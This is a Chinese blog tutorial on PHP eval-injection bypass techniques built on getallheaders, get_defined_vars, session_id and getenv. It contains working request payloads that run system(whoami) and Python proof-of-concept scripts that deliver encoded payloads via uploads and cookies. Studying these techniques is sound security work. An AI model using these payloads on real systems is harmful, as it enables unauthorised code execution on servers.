getallheaders
只适用于apache中间件
我们来打印出来看看
http://127.0.0.1/index.php?code=var_dump(getallheaders());
它把我们的header头输出了,但是header头我们是可以自定义的
getallheaders()
返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()
这个函数就能胜任。
我们来使用一下,可以看到获取到的头信息被当作字符串输出了,且是从最后开始输出(由于php版本不同,输出顺序也可能不同),那么我们就可以在最后随意添加一个头,插入我们的恶意代码并将后面的内容注释掉。
var_dump(implode(getallheaders()));
sakura: flag
来执行命令:
GET /index.php?code=eval(implode(getallheaders())); HTTP/1.1
sakura: system(whoami);//
事实上这样操作具有局限性,万一我们输出的头不再最开始不就g了?
但是我们有很多函数可以去帮我们去获得我们想要的字符串
由于在开头第一个我们还可以使用pos函数去得到我们输入的命令
假如说它的位置不在数组第一个,在最后一个呢?
我们只需要使用end就可以把它取出来,这里我输入的值位置并不在第一个,所以取出来并没有用,只是做个示范罢了
那么相信大家已经会了,现在我们如何取数组第二个呢?
相信大家心里已经有了答案,使用next!
就是这样,搭配不同的函数取出我们想要的值即可
get_defined_vars()
使用getallheaders()其实具有局限性,因为他是apache的函数,如果目标中间件不为apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?这里我们可以使用get_defined_vars()
该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode
结合起来用。将get_defined_vars()
的结果用var_dump()
输出结果如下:
发现其可以回显全局变量:
$_GET
$_POST
$_FILES
$_COOKIE
可以看到用GET传入的参数会被显示在数组中的第一位,不过这里有这么多的数组,我们也不需要全部查看,只需要使用current()
函数就可以取到我们想要的东西
我们来试一试:
给我们返回了一个一维数组,我们再想办法取得第二个值:
GET /index.php?code=var_dump(next(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1
然后就可以来执行命令
GET /index.php?code=eval(next(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1
除了next还可以使用end
GET /index.php?code=eval(end(current(get_defined_vars())));&sakura=system(whoami); HTTP/1.1
但一般网站喜欢对
$_GET
$_POST
$_COOKIE
做全局过滤,所以我们可以尝试从$_FILES
下手,这就需要我们自己写一个上传
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
注意:上面这个脚本只适用于$_FILES在最后的情况,要根据条件不用去修改其位置
session_id()
官方说:session_id()
可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid
了,并且这个值我们是可控的。
但其有限制:
文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)
解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。
但session_id必须要开启session才可以使用,所以我们要先使用session_start。
所以,payload可以为:
eval(hex2bin(session_id(session_start()))); //hex("phpinfo();")=706870696e666f28293b
顺便给出一个poc:
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
getenv
只适用于php7.1以后版本
通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。
查阅php手册,有非常多的超全局变量
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
我们可以使用$_ENV
,对应函数为getenv()
我们来打印一下吧:
GET /index.php?code=var_dump(getenv()); HTTP/1.1
虽然getenv()
可获取当前环境变量,但我们怎么从一个偌大的数组中取出我们指定的值成了问题
这里可以使用方法:
我们来试一下:
GET /index.php?code=var_dump(array_rand(getenv()));
但是我们不想要下标,我们想要下标的值,该怎么办呢?
GET /index.php?code=var_dump(array_rand(array_flip(getenv()))); HTTP/1.1
我们这么写达到了什么效果呢?—>随机获取一个环境变量的值
我们则可用爆破的方式获取数组中任意位置需要的值,那么即可使用getenv(),并获取指定位置的恶意参数
说实话我个人对这种做法还是比较懵逼,我并没有找到好的方法去执行命令,我观看了网上的文章都是到这一步就停下了,唯一达到的效果就是执行了phpinfo()?其实也不必要这么麻烦的
POST /index.php?code=var_dump(getenv(phpinfo())); HTTP/1.1
参考链接
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://blog.csdn.net/miuzzx/article/details/109143413
版权声明:本博客所有文章除特殊声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明出处 sakura的博客!